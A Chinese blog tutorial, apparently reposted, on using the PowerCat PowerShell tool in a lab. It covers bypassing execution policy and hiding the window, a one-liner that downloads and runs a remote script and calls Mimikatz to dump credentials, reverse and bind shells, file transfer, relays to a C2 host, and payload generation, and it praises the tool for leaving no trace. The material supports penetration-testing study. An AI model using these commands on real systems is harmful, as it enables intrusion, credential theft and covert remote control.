powershell渗透工具——powercat工具详细分析
powercat工具详细分析
这个工具出来两年了,但是好像很少人知道他。国外的大牛们用的比较多,国内的文章出现powercat关键字的寥寥无几,更别说有这款工具的详细用法了。
0x01 powercat简介
是NetCat 的Powershell 版本。作者的介绍也是这样写的,但是我觉得,powercat不管怎么样,也有比NetCat 强的一点,就是没有任何痕迹!来无影去无踪。关掉powershell 我们还是好朋友。
0x02 下载运行
地址:github地址链接
直接克隆回本地:
git clone besimorhino/powercat
你直接执行的话是肯定执行不了的,因为你没有权限

导入也导入不了,执行也执行不了。正常
在终端输入get-executionpolicy

Restricted——默认的设置,不允许任何script运行
AllSigned——-只能运行经过数字证书签名的script
RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名
Unrestricted—-允许所有的script运行
要运行Powershell脚本程序,必须要将Restricted策略改成Unrestricted,而修改此策略必须要管理员权限。但是在渗透过成功,你要有管理员权限,那还玩什么?直接Mimikatz 读密码了,还在这费这劲。所以,权限绕过吧。
本地权限绕过
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过执行脚本
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
用IEX下载远程PS1脚本回来权限绕过执行
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"
所以,直接选择最简单的吧,也别下载了,直接远程权限绕过,在Powershell 中执行:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
可以看到Powercat已经成功执行了

0x03 powercat基本操作
powercat 到底还是netcat的翻版,他们操作起来非常相似,我就不贴一堆命令,然后贴中文注释了,因为我的英文水平还停留在小学六年级的样子。大家需要的话自行google
powercat因为是netcat 的翻版,所以他们两个连接起来没有任何的问题,先来建立起一个简单的Socket 通信看看样子,总感觉很牛的样子
简单的socket通信
kali的ip:192.168.12.101
在kali 下用netcat来执行命令
netcat -l -p 8888 -vv
在Windows 测试机下执行powrcat 命令
powercat -c 192.168.12.101 -p 8888 -v
执行完这两道命令,kali 跟windows已经建立了一个基本的socket回话了,相当于一个聊天窗口,企鹅的功能,在悄悄秀一波英文水平,没骗你们,真的只会这一句


powercat命令解析
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
这是一个基本的socket 通信,相信会撸代码的同学都可以轻松写出这样的代码
一个基本的socket通信是没有可能满足我们的。继续深入
正向链接
windows主机ip:192.168.12.109
在windows主机下执行:
powercat -l -p 8888 -e cmd.exe -v
在kali下用Netcat执行:
netcat -vv 192.168.12.109 8888
成功返回换一个cmd命令行


powercat命令解析
-l 监听模式,用于入站链接
-p 本地端口号
-e 程序重定向,跟nc一毛一样
-v 显示详情
反向链接
kali下执行:
netcat -l -p 8888 -v
windows主机下执行:
powercat -c 192.168.12.101 -p 8888 -e cmd.exe
成功反向链接回来


来个牛的
上面可以跟nc配合,但是nc没有办法返回powershell,powershell就是在渗透过程中的一把利刃,而powercat刚刚好可以返回一个powershell
两台windows测试机的ip分别是192.168.12.108,192.168.12.109
在ip为192.168.12.109的机器上执行:
powercat -l -p 9999 -v
在另一台上执行:
powercat -c 192.168.12.109 -p 9999 -ep


powercat命令解析
-eq 返回powershell
0x04 Powercat其他操作
文件上传
这个不用说,基本这种连接的都支持
在c:下新建一个test.txt的文件,写入hello word!
在有text.txt的机器执行:
powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v
另一台机器执行
powercat -l -p 9999 -of c:test.txt -v
我建议在这里加上-v参数,要不我们不知道文件有没有上传完,当上传完成的时候,直接Ctrl+c关闭连接,如果不关闭,可以继续向文件中写入文件


这里并没有直接结束掉,而是又写入了一些文件,来看看在靶机中到底写入了什么

powercat命令解析
-i 指定要上传文件的绝对路径
-of 接受文件的路径以及名称
中继
这个功能也是基本都有的功能,不做演示,个人觉得用的不多,当然,做跳板另当别论。直接贴上官方的代码(借助google翻译):
TCP侦听器到TCP客户端中继: powercat -l -p 8000 -r tcp:10.1.1.16:443TCP侦听器到UDP客户端中继: powercat -l -p 8000 -r udp:10.1.1.16:53TCP侦听器到DNS客户端中继 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.comTCP侦听器使用Windows默认DNS服务器到DNS客户端中继 powercat -l -p 8000 -r dns ::: c2.example.comTCP客户端到客户端中继 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443TCP侦听器到侦听器中继 powercat -l -p 8000 -r tcp:9000
类似MSF的回弹功能
powercat这个回弹很牛,可正向可反向。
powercat -c 192.168.12.109 -p 9999 -e cmd -g
生成一个反向链接的payload,可以链接到192.168.12.109的9999端口,这条命令之后是这个样子的= =

正向连接马:
powercat -l -p 8000 -e cmd -ge
坚挺本地的8000端口,然后等待链接。执行后:

用法,没有尝试,应该与Empire的payload相似.
说句我的看法,个人觉得不是很实用,如果是你,有了这样的机会,你会选择用Powercat吗?要我,我直接上Metasploit,Empire了。
0x05 总结
Powercat的大部分功能都是可以用其他工具代替的,但是,不管怎么说,都是一种思路。他的存在肯定有他的意义,要不作者也不会无聊开发出这样的工具来。讲句心里话,我最看好他执行过后什么都不会留下。
如若转载,请注明原文地址: powercat工具详细分析 - 嘶吼 RoarTalk
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2020-02-28 python 合并k个有序链表
2018-02-28 leetcode 617. Merge Two Binary Trees
2018-02-28 tflearn alexnet iter 10
2018-02-28 Attention机制讲解——其实本质思想很简单,给你一句话I am a king. 让你生成下面一句话,你第一眼想到的power,至高无上,高贵这些词,这些就是高注意力(权重)单词,而attension就是学习到这些权重而已
2018-02-28 深度学习的seq2seq模型——本质是LSTM,训练过程是使得所有样本的p(y1,...,yT‘|x1,...,xT)概率之和最大
2018-02-28 java 提取主域名
2017-02-28 elasticsearch function_score Query——文档排序结果的最后一道墙